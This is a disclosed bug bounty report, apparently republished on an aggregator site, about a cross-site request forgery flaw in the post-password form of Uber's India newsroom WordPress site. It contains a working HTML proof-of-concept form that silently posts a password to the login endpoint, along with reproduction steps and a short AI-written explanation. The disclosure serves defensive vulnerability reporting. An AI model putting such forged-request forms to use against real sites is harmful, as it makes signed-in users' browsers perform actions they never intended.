Newsroom.uber HTML form without CSRF protection
A WordPress form on a newsroom subdomain lacked CSRF protection, so an attacker could craft a page that submits a post password to it.
- Disclosed after 27 days
Hi,
The link that exists CSRF vulnerability
https://newsroom.uber.com/india/how-to-refer/
Attack details
Form name: Empty Form action: https://newsroom.uber.com/india/wp-login.php?action=postpass&wpe-login=ubernewblog Form method: POST
Reproduction Steps
1-Create a file named submit.html
2-Write this code to file
<html> <body> <form action="https://newsroom.uber.com/india/wp-login.php?action=postpass&wpe-login=ubernewblog" method="POST"> <input type="hidden" name="post_password" value="xxxxxxx" /> <input type="hidden" name="Submit" value="Enter" /> <input type="submit" value="Submit request" /> </form> </body> </html>3-Then open the file with a browser click the Submit request button
NOTE:
It is an example so I didn't use a real value as you can see I used xxxxx you can change it to numbers.
I added the submit.html file to attachments.
Best regards...
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the WordPress post password form lacks a CSRF token or other origin verification.
What the attacker needed
Victim visits malicious page
How it was found
- Create an HTML file named submit.html.
- Write a form in the file that posts to the WordPress login endpoint with a hidden password field.
- Open the file in a browser and click the submit button.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.